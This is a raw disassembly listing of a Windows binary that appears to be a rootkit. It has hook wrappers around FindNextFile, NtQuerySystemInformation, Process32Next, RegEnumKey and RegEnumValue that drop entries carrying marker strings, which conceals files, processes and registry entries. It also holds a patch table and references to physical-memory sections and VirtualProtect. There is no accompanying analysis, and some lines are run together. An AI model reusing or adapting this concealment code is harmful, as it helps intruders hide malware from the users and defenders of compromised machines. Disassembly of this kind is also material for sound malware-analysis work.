		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401F0E
		dd offset loc_401F20
		dd offset loc_401F7C
		dd offset loc_402002
		dd offset loc_401F70
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DCD
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401F5A
		dd offset loc_401F5A
		dd offset loc_401F37
		dd offset loc_401E1C
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401E58
		dd offset loc_401F85
		dd offset loc_401E85
		dd offset loc_401E85
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DE8
		dd offset loc_401DE8
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
off_43C6CC	dd offset loc_401FCE	; DATA XREF: sub_401D31+27Cr
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FFB
		dd offset loc_401FFB
		dd offset loc_402002
		dd offset loc_401FFB
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401FCE
		dd offset loc_401FEC
		dd offset loc_401FCE
		dd offset loc_401FFB
		dd offset loc_401FFB
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401FCE
		dd offset loc_401FEC
		dd offset loc_401FCE
		dd offset loc_401FFB
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FFB
		dd offset loc_401FFB
		dd offset loc_401FEC
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FFB
		dd offset loc_401FFB
		dd offset loc_401FFB
		dd offset loc_401FFB
		dd offset loc_401FFB
		dd offset loc_401FFB
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
aFindnextfilea	db 'FindNextFileA',0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[esp+8], edi
		mov	[esp+4], esi
		mov	[esp], ebx


loc_43C85B:				; CODE XREF: .text:0043C8A4j
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245CA68h
		test	eax, eax
		jz	short loc_43C8A6
		pusha
		mov	eax, [ebp+0Ch]
		add	eax, 2Ch
		mov	ebx, eax


loc_43C875:				; CODE XREF: .text:0043C87Bj
		cmp	byte ptr [ebx],	0
		jz	short loc_43C87D
		inc	ebx
		jmp	short loc_43C875
; ---------------------------------------------------------------------------


loc_43C87D:				; CODE XREF: .text:0043C878j
		mov	word ptr [ebx],	463Ah
		inc	ebx
		inc	ebx
		push	dword ptr [ebx]
		mov	word ptr [ebx],	0
		push	ebx
		push	eax
		call	near ptr 0C4FD49Eh
		pop	ebx
		pop	dword ptr [ebx]
		mov	word ptr [ebx-2], 0
		test	ax, ax
		jnz	short loc_43C8A3
		popa
		jmp	short loc_43C8A6
; ---------------------------------------------------------------------------


loc_43C8A3:				; CODE XREF: .text:0043C89Ej
		popa
		jmp	short loc_43C85B
; ---------------------------------------------------------------------------


loc_43C8A6:				; CODE XREF: .text:0043C868j
					; .text:0043C8A1j
		mov	ebx, [esp]
		mov	esi, [esp+4]
		mov	edi, [esp+8]
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FFFFFFFFh, 6E694600h, 78654E64h, 6C694674h
		db 65h,	57h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[esp+8], edi
		mov	[esp+4], esi
		mov	[esp], ebx


loc_43C8DC:				; CODE XREF: .text:0043C92Bj
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245CAE9h
		test	eax, eax
		jz	short loc_43C92D
		pusha
		mov	eax, [ebp+0Ch]
		add	eax, 2Ch
		mov	ebx, eax


loc_43C8F6:				; CODE XREF: .text:0043C8FEj
		cmp	word ptr [ebx],	0
		jz	short loc_43C900
		inc	ebx
		inc	ebx
		jmp	short loc_43C8F6
; ---------------------------------------------------------------------------


loc_43C900:				; CODE XREF: .text:0043C8FAj
		mov	dword ptr [ebx], 46003Ah
		add	ebx, 4
		push	dword ptr [ebx]
		mov	dword ptr [ebx], 0
		push	ebx
		push	eax
		call	near ptr 0D50D625h
		pop	ebx
		pop	dword ptr [ebx]
		mov	dword ptr [ebx-4], 0
		test	ax, ax
		jnz	short loc_43C92A
		popa
		jmp	short loc_43C92D
; ---------------------------------------------------------------------------


loc_43C92A:				; CODE XREF: .text:0043C925j
		popa
		jmp	short loc_43C8DC
; ---------------------------------------------------------------------------


loc_43C92D:				; CODE XREF: .text:0043C8E9j
					; .text:0043C928j
		mov	ebx, [esp]
		mov	esi, [esp+4]
		mov	edi, [esp+8]
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		dw 0FFFFh
dword_43C940	dd 0FFFFFFh, 7551744Eh,	53797265h, 65747379h, 666E496Dh
					; DATA XREF: .text:0043CE8Co
		dd 616D726Fh, 6E6F6974h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C95D	proc near		; DATA XREF: .text:0043CE94o

var_68		= byte ptr -68h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	[esp+24h+var_1C], edi
		mov	[esp+24h+var_20], esi
		mov	[esp+24h+var_24], ebx
		sub	esp, 10h
		mov	eax, [ebp+arg_C]
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_4]
		mov	[esp+34h+var_28], eax
		mov	[esp+34h+var_2C], edi
		mov	[esp+34h+var_30], ebx
		mov	esi, [ebp+arg_0]
		mov	[esp+34h+var_34], esi
		call	near ptr 245CB93h
		mov	[ebp+var_4], eax
		cmp	esi, 5
		jz	short loc_43C9AD


loc_43C999:				; CODE XREF: sub_43C95D+56j
					; sub_43C95D+A9j
		mov	eax, [ebp+var_4]
		mov	ebx, [esp+24h+var_24]
		mov	esi, [esp+24h+var_20]
		mov	edi, [esp+24h+var_1C]
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_43C9AD:				; CODE XREF: sub_43C95D+3Aj
		cmp	edi, 1F40h
		jle	short loc_43C999
		jmp	short loc_43C9BB
; ---------------------------------------------------------------------------


loc_43C9B7:				; CODE XREF: sub_43C95D+ABj
		mov	esi, ebx


loc_43C9B9:				; CODE XREF: sub_43C95D+A3j
		add	ebx, eax


loc_43C9BB:				; CODE XREF: sub_43C95D+58j
		pusha
		mov	eax, [ebx+44h]
		push	50h
		sub	esp, 20h
		xor	ebx, ebx


loc_43C9C9:				; CODE XREF: sub_43C95D+7Fj
		bt	eax, ebx
		jb	short loc_43C9D4
		mov	[esp+ebx+68h+var_68], 30h
		jmp	short loc_43C9D8
; ---------------------------------------------------------------------------


loc_43C9D4:				; CODE XREF: sub_43C95D+6Fj
		mov	[esp+ebx+68h+var_68], 31h


loc_43C9D8:				; CODE XREF: sub_43C95D+75j
		inc	ebx
		cmp	ebx, 20h
		jnz	short loc_43C9C9
		push	esp
		call	near ptr 0C4FD5F0h
		add	esp, 24h
		test	ax, ax
		jnz	short loc_43C9EF
		popa
		jmp	short loc_43CA02
; ---------------------------------------------------------------------------


loc_43C9EF:				; CODE XREF: sub_43C95D+8Dj
		popa
		mov	eax, [ebx]
		test	eax, eax
		jnz	short loc_43C9FE
		mov	dword ptr [esi], 0
		jmp	short loc_43CA02
; ---------------------------------------------------------------------------


loc_43C9FE:				; CODE XREF: sub_43C95D+97j
		add	[esi], eax
		jmp	short loc_43C9B9
; ---------------------------------------------------------------------------


loc_43CA02:				; CODE XREF: sub_43C95D+90j
					; sub_43C95D+9Fj
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_43C999
		jmp	short loc_43C9B7
sub_43C95D	endp

; ---------------------------------------------------------------------------
		dw 0FFFFh
		dd 0FFFFFFh
aProcess32next	db 'Process32Next',0    ; DATA XREF: .text:off_43CE7Co
word_43CA1E	dw 8360h		; DATA XREF: .text:off_43CE84o
		dd 46A08C5h, 0B0BE855h,	0C0850B0Bh, 0EB610374h,	458B610Bh
		dd 1013D08h, 14740101h,	80808E8h, 1FF8108h, 74010101h
		dd 1013D07h, 5750101h, 20202E9h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[esp+8], edi
		mov	[esp+4], esi
		mov	[esp], ebx


loc_43CA66:				; CODE XREF: .text:0043CAB4j
		sub	esp, 8
		mov	ebx, [ebp+0Ch]
		mov	edi, [ebp+8]
		mov	[esp+4], ebx
		mov	[esp], edi
		call	near ptr 245CC7Dh
		test	eax, eax
		jz	short loc_43CAB6
		pusha
		mov	eax, [ebx+8]
		push	50h
		sub	esp, 20h
		xor	ebx, ebx


loc_43CA8D:				; CODE XREF: .text:0043CAA0j
		bt	eax, ebx
		jb	short loc_43CA98
		mov	byte ptr [esp+ebx], 30h
		jmp	short loc_43CA9C
; ---------------------------------------------------------------------------


loc_43CA98:				; CODE XREF: .text:0043CA90j
		mov	byte ptr [esp+ebx], 31h


loc_43CA9C:				; CODE XREF: .text:0043CA96j
		inc	ebx
		cmp	ebx, 20h
		jnz	short loc_43CA8D
		push	esp
		call	near ptr 0C4FD6B4h
		add	esp, 24h
		test	ax, ax
		jnz	short loc_43CAB3
		popa
		jmp	short loc_43CAB6
; ---------------------------------------------------------------------------


loc_43CAB3:				; CODE XREF: .text:0043CAAEj
		popa
		jmp	short loc_43CA66
; ---------------------------------------------------------------------------


loc_43CAB6:				; CODE XREF: .text:0043CA7Dj
					; .text:0043CAB1j
		mov	ebx, [esp]
		mov	esi, [esp+4]
		mov	edi, [esp+8]
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FFFFFFFFh, 67655200h, 6D756E45h, 4179654Bh
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp


loc_43CADC:				; CODE XREF: .text:0043CB29j
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245CCEFh
		test	eax, eax
		jnz	short loc_43CB2B
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax


loc_43CAF7:				; CODE XREF: .text:0043CAFDj
		cmp	byte ptr [ebx],	0
		jz	short loc_43CAFF
		inc	ebx
		jmp	short loc_43CAF7
; ---------------------------------------------------------------------------


loc_43CAFF:				; CODE XREF: .text:0043CAFAj
		mov	word ptr [ebx],	4B23h
		inc	ebx
		inc	ebx
		push	dword ptr [ebx]
		mov	word ptr [ebx],	0
		push	ebx
		push	eax
		call	near ptr 0C4FD720h
		pop	ebx
		pop	dword ptr [ebx]
		mov	word ptr [ebx-2], 0
		test	ax, ax
		jnz	short loc_43CB25
		popa
		jmp	short loc_43CB2B
; ---------------------------------------------------------------------------


loc_43CB25:				; CODE XREF: .text:0043CB20j
		popa
		inc	dword ptr [ebp+0Ch]
		jmp	short loc_43CADC
; ---------------------------------------------------------------------------


loc_43CB2B:				; CODE XREF: .text:0043CAEFj
					; .text:0043CB23j
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FFFFFFFFh, 67655200h, 6D756E45h, 5779654Bh
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp


loc_43CB44:				; CODE XREF: .text:0043CB97j
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245CD57h
		test	eax, eax
		jnz	short loc_43CB99
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax


loc_43CB5F:				; CODE XREF: .text:0043CB67j
		cmp	word ptr [ebx],	0
		jz	short loc_43CB69
		inc	ebx
		inc	ebx
		jmp	short loc_43CB5F
; ---------------------------------------------------------------------------


loc_43CB69:				; CODE XREF: .text:0043CB63j
		mov	dword ptr [ebx], 4B0023h
		add	ebx, 4
		push	dword ptr [ebx]
		mov	dword ptr [ebx], 0
		push	ebx
		push	eax
		call	near ptr 0D50D88Eh
		pop	ebx
		pop	dword ptr [ebx]
		mov	dword ptr [ebx-4], 0
		test	ax, ax
		jnz	short loc_43CB93
		popa
		jmp	short loc_43CB99
; ---------------------------------------------------------------------------


loc_43CB93:				; CODE XREF: .text:0043CB8Ej
		popa
		inc	dword ptr [ebp+0Ch]
		jmp	short loc_43CB44
; ---------------------------------------------------------------------------


loc_43CB99:				; CODE XREF: .text:0043CB57j
					; .text:0043CB91j
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
dword_43CBA0	dd 5200FFFFh, 6E456765h, 654B6D75h, 57784579h		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43CBB1	proc near		; DATA XREF: .text:0043CEE4o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp


loc_43CBB4:				; CODE XREF: sub_43CBB1+7Ej
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		mov	eax, [ebp+arg_18]
		test	eax, eax
		jz	short loc_43CBC2
		push	dword ptr [eax]


loc_43CBC2:				; CODE XREF: sub_43CBB1+Dj
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 245CDE1h
		test	eax, eax
		jnz	short loc_43CC31
		pusha
		mov	eax, [ebp+arg_8]
		mov	ebx, eax


loc_43CBE9:				; CODE XREF: sub_43CBB1+40j
		cmp	word ptr [ebx],	0
		jz	short loc_43CBF3
		inc	ebx
		inc	ebx
		jmp	short loc_43CBE9
; ---------------------------------------------------------------------------


loc_43CBF3:				; CODE XREF: sub_43CBB1+3Cj
		mov	dword ptr [ebx], 4B0023h
		add	ebx, 4
		push	dword ptr [ebx]
		mov	dword ptr [ebx], 0
		push	ebx
		push	eax
		call	near ptr 0D50D918h
		pop	ebx
		pop	dword ptr [ebx]
		mov	dword ptr [ebx-4], 0
		test	ax, ax
		jnz	short loc_43CC1D
		popa
		jmp	short loc_43CC31
; ---------------------------------------------------------------------------


loc_43CC1D:				; CODE XREF: sub_43CBB1+67j
		popa
		inc	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		test	eax, eax
		jz	short loc_43CC2A
		pop	dword ptr [eax]


loc_43CC2A:				; CODE XREF: sub_43CBB1+75j
		mov	eax, [ebp+arg_C]
		pop	dword ptr [eax]
		jmp	short loc_43CBB4
; ---------------------------------------------------------------------------


loc_43CC31:				; CODE XREF: sub_43CBB1+30j
					; sub_43CBB1+6Aj
		add	esp, 4
		cmp	[ebp+arg_18], 0
		jz	short loc_43CC3D
		add	esp, 4


loc_43CC3D:				; CODE XREF: sub_43CBB1+87j
		pop	ebp
		retn	20h
sub_43CBB1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
		dd 5200FFFFh, 6E456765h, 654B6D75h, 41784579h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp


loc_43CC58:				; CODE XREF: .text:0043CCCDj
		mov	eax, [ebp+14h]
		push	dword ptr [eax]
		mov	eax, [ebp+20h]
		test	eax, eax
		jz	short loc_43CC66
		push	dword ptr [eax]


loc_43CC66:				; CODE XREF: .text:0043CC62j
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245CE85h
		test	eax, eax
		jnz	short loc_43CCCF
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax


loc_43CC8D:				; CODE XREF: .text:0043CC93j
		cmp	byte ptr [ebx],	0
		jz	short loc_43CC95
		inc	ebx
		jmp	short loc_43CC8D
; ---------------------------------------------------------------------------


loc_43CC95:				; CODE XREF: .text:0043CC90j
		mov	word ptr [ebx],	4B23h
		inc	ebx
		inc	ebx
		push	dword ptr [ebx]
		mov	word ptr [ebx],	0
		push	ebx
		push	eax
		call	near ptr 0C4FD8B6h
		pop	ebx
		pop	dword ptr [ebx]
		mov	word ptr [ebx-2], 0
		test	ax, ax
		jnz	short loc_43CCBB
		popa
		jmp	short loc_43CCCF
; ---------------------------------------------------------------------------


loc_43CCBB:				; CODE XREF: .text:0043CCB6j
		popa
		inc	dword ptr [ebp+0Ch]
		mov	eax, [ebp+20h]
		test	eax, eax
		jz	short loc_43CCC8
		pop	dword ptr [eax]


loc_43CCC8:				; CODE XREF: .text:0043CCC4j
		mov	eax, [ebp+14h]
		pop	dword ptr [eax]
		jmp	short loc_43CC58
; ---------------------------------------------------------------------------


loc_43CCCF:				; CODE XREF: .text:0043CC85j
					; .text:0043CCB9j
		add	esp, 4
		cmp	dword ptr [ebp+20h], 0
		jz	short loc_43CCDB
		add	esp, 4


loc_43CCDB:				; CODE XREF: .text:0043CCD6j
		pop	ebp
		retn	20h
; ---------------------------------------------------------------------------
		db 0FFh
dword_43CCE0	dd 0FFFFFFFFh, 67655200h, 6D756E45h, 756C6156h		db 65h,	57h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43CCF3	proc near		; DATA XREF: .text:0043CF04o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp


loc_43CCF6:				; CODE XREF: sub_43CCF3+7Ej
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		mov	eax, [ebp+arg_1C]
		test	eax, eax
		jz	short loc_43CD04
		push	dword ptr [eax]


loc_43CD04:				; CODE XREF: sub_43CCF3+Dj
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 245CF23h
		test	eax, eax
		jnz	short loc_43CD73
		pusha
		mov	eax, [ebp+arg_8]
		mov	ebx, eax


loc_43CD2B:				; CODE XREF: sub_43CCF3+40j
		cmp	word ptr [ebx],	0
		jz	short loc_43CD35
		inc	ebx
		inc	ebx
		jmp	short loc_43CD2B
; ---------------------------------------------------------------------------


loc_43CD35:				; CODE XREF: sub_43CCF3+3Cj
		mov	dword ptr [ebx], 560023h
		add	ebx, 4
		push	dword ptr [ebx]
		mov	dword ptr [ebx], 0
		push	ebx
		push	eax
		call	near ptr 0D50DA5Ah
		pop	ebx
		pop	dword ptr [ebx]
		mov	dword ptr [ebx-4], 0
		test	ax, ax
		jnz	short loc_43CD5F
		popa
		jmp	short loc_43CD73
; ---------------------------------------------------------------------------


loc_43CD5F:				; CODE XREF: sub_43CCF3+67j
		popa
		inc	[ebp+arg_4]
		mov	eax, [ebp+arg_1C]
		test	eax, eax
		jz	short loc_43CD6C
		pop	dword ptr [eax]


loc_43CD6C:				; CODE XREF: sub_43CCF3+75j
		mov	eax, [ebp+arg_C]
		pop	dword ptr [eax]
		jmp	short loc_43CCF6
; ---------------------------------------------------------------------------


loc_43CD73:				; CODE XREF: sub_43CCF3+30j
					; sub_43CCF3+6Aj
		add	esp, 4
		cmp	[ebp+arg_1C], 0
		jz	short loc_43CD7F
		add	esp, 4


loc_43CD7F:				; CODE XREF: sub_43CCF3+87j
		pop	ebp
		retn	20h
sub_43CCF3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FFFFFFFFh, 67655200h, 6D756E45h, 756C6156h
		db 65h,	41h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp


loc_43CD9A:				; CODE XREF: .text:0043CE0Fj
		mov	eax, [ebp+14h]
		push	dword ptr [eax]
		mov	eax, [ebp+24h]
		test	eax, eax
		jz	short loc_43CDA8
		push	dword ptr [eax]


loc_43CDA8:				; CODE XREF: .text:0043CDA4j
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245CFC7h
		test	eax, eax
		jnz	short loc_43CE11
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax


loc_43CDCF:				; CODE XREF: .text:0043CDD5j
		cmp	byte ptr [ebx],	0
		jz	short loc_43CDD7
		inc	ebx
		jmp	short loc_43CDCF
; ---------------------------------------------------------------------------


loc_43CDD7:				; CODE XREF: .text:0043CDD2j
		mov	word ptr [ebx],	5623h
		inc	ebx
		inc	ebx
		push	dword ptr [ebx]
		mov	word ptr [ebx],	0
		push	ebx
		push	eax
		call	near ptr 0C4FD9F8h
		pop	ebx
		pop	dword ptr [ebx]
		mov	word ptr [ebx-2], 0
		test	ax, ax
		jnz	short loc_43CDFD
		popa
		jmp	short loc_43CE11
; ---------------------------------------------------------------------------


loc_43CDFD:				; CODE XREF: .text:0043CDF8j
		popa
		inc	dword ptr [ebp+0Ch]
		mov	eax, [ebp+24h]
		test	eax, eax
		jz	short loc_43CE0A
		pop	dword ptr [eax]


loc_43CE0A:				; CODE XREF: .text:0043CE06j
		mov	eax, [ebp+14h]
		pop	dword ptr [eax]
		jmp	short loc_43CD9A
; ---------------------------------------------------------------------------


loc_43CE11:				; CODE XREF: .text:0043CDC7j
					; .text:0043CDFBj
		add	esp, 4
		cmp	dword ptr [ebp+24h], 0
		jz	short loc_43CE1D
		add	esp, 4


loc_43CE1D:				; CODE XREF: .text:0043CE18j
		pop	ebp
		retn	20h
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
		db 2 dup(0FFh),	0
; char aKernel32_dll[]
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_402A48+3F5o
					; .text:lpLibFileNameo
; char ModuleName[]
ModuleName	db 'ntdll.dll',0        ; DATA XREF: sub_402226+Eo
					; .text:0043CE90o ...
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: .text:0043CEE0o
					; .text:0043CF00o
aIphlpapi_dll	db 'iphlpapi.dll',0
aInetmib1_dll	db 'inetmib1.dll',0
aWsock32_dll	db 'wsock32.dll',0
aUser32_dll	db 'user32.dll',0
; LPCSTR off_43CE7C
off_43CE7C	dd offset aProcess32next ; DATA	XREF: sub_402A48+BAr
					; sub_402A48+EDr ...
					; "Process32Next"
; LPCSTR lpLibFileName
lpLibFileName	dd offset aKernel32_dll	; DATA XREF: sub_402A48+9Br
					; "kernel32.dll"
off_43CE84	dd offset word_43CA1E	; DATA XREF: sub_402843+1F1r
byte_43CE88	db 0			; DATA XREF: sub_402A48+66r
					; sub_402A48+83r
		align 4
		dd offset dword_43C940+4
		dd offset ModuleName	; "ntdll.dll"
		dd offset sub_43C95D
		dd 1, 43C8BDh, 43CE27h,	43C8CBh, 1, 43C83Ch, 43CE27h, 43C84Ah
		dd 2, 43CB35h, 43CE3Eh,	43CB41h, 1, 43CACDh, 43CE3Eh, 43CAD9h
		dd 0
		dd offset dword_43CBA0+3
		dd offset aAdvapi32_dll	; "advapi32.dll"
		dd offset sub_43CBB1
		dd 1, 43CC47h, 43CE3Eh,	43CC55h, 0
		dd offset dword_43CCE0+5
		dd offset aAdvapi32_dll	; "advapi32.dll"
		dd offset sub_43CCF3
		dd 1, 43CD89h, 43CE3Eh,	43CD97h, 5 dup(0)
		dd 1
dword_43CF30	dd 0Ah		dword_43CF34	dd 0							; .text:loc_4021C8r ...
; char ProcName[]
ProcName	db 'RtlInitUnicodeString',0 ; DATA XREF: sub_402226+25o
		db '^H',0
; char aNtunmapviewofs[]
aNtunmapviewofs	db 'NtUnmapViewOfSection',0 ; DATA XREF: sub_402226+3Ao
		db 7Ah,	57h, 34h
		dd 7F3640h
; char aNtopensection[]
aNtopensection	db 'NtOpenSection',0    ; DATA XREF: sub_402226+4Ao
aBc		db ':Bc',0
; char aNtmapviewofsec[]
aNtmapviewofsec	db 'NtMapViewOfSection',0 ; DATA XREF: sub_402226+65o
		align 2
; char aRtlntstatustod[]
aRtlntstatustod	db 'RtlNtStatusToDosError',0 ; DATA XREF: sub_402226+75o
aCurrent_user	db 'CURRENT_USER',0     ; DATA XREF: sub_4022BB+95o
		align 4
aDevicePhysical:			; DATA XREF: sub_4022BB+Eo
		unicode	0, <\device\physicalmemory>,0
byte_43CFE6	db 0			; DATA XREF: sub_4022BB+5Eo
dword_43CFE7	dd 465420h	byte_43CFEB	db 0			; DATA XREF: sub_4022BB+A1o
dword_43CFEC	dd 248243h	word_43CFF0	dw 66h			; DATA XREF: sub_4024A8+4r
		align 4
dword_43CFF4	dd 0		dword_43CFF8	dd 11h		dword_43CFFC	dd 0							; .text:loc_4024EAr ...
aWcscmp		db 'wcscmp',0           ; DATA XREF: .text:lpProcNameo
aHtons		db 'htons',0
aVirtualprotect	db 'VirtualProtect',0
aNua		db 'NU€',0
aGetcurrentproc	db 'GetCurrentProcessId',0
		dd 6E694600h, 6E695764h, 41776F64h, 74306B00h, 3B6E704Dh
		dd 6E655300h, 73654D64h, 65676173h, 3E530041h, 7349007Eh
		dd 52646142h, 50646165h, 37007274h, 83382520h, 6C470065h
		dd 6C61626Fh, 646E6946h, 6D6F7441h, 6C470041h, 6C61626Fh
		dd 646E6946h, 6D6F7441h, 57h
byte_43D090	db 3			; DATA XREF: sub_402563+87r
		align 4
; LPCSTR lpProcName
lpProcName	dd offset aWcscmp	; DATA XREF: sub_402563+FBr
					; sub_402563+15Er
					; "wcscmp"
; LPCSTR lpModuleName
lpModuleName	dd offset ModuleName	; DATA XREF: sub_402563+E8r
					; "ntdll.dll"
		dd 5, 43D007h, 43CE65h,	7, 43D00Dh, 43CE27h, 8,	43D020h
		dd 43CE27h, 9, 43D035h,	43CE71h, 0Ah, 43D049h, 43CE71h
		dd 0Bh,	43D05Ah, 43CE27h, 0Ch, 43D06Eh,	43CE27h, 0Dh, 43D07Eh
		dd 43CE27h
dword_43D0FC	dd 6C244343h			db 2Bh,	6Eh, 0
word_43D103	dw 68h			; DATA XREF: sub_402563+14Br
byte_43D105	db 54h,	2Dh, 2Bh	; DATA XREF: sub_402563+1BDo
		dd 26646Ch
dword_43D10C	dd 774E8035h			db 68h,	76h, 0
byte_43D113	db 7Ah			; DATA XREF: sub_402843+DFo
		db 20h,	0
word_43D116	dw 494Eh		; DATA XREF: sub_402843+135o
		db 2Ah,	6Ch, 0
word_43D11B	dw 62h			; DATA XREF: sub_402843+191r
byte_43D11D	db 6Ch,	75h, 0		; DATA XREF: sub_402A48+3Fo
dword_43D120	dd 672F244Fh, 207564hdword_43D128	dd 33453B2Dh			db 0
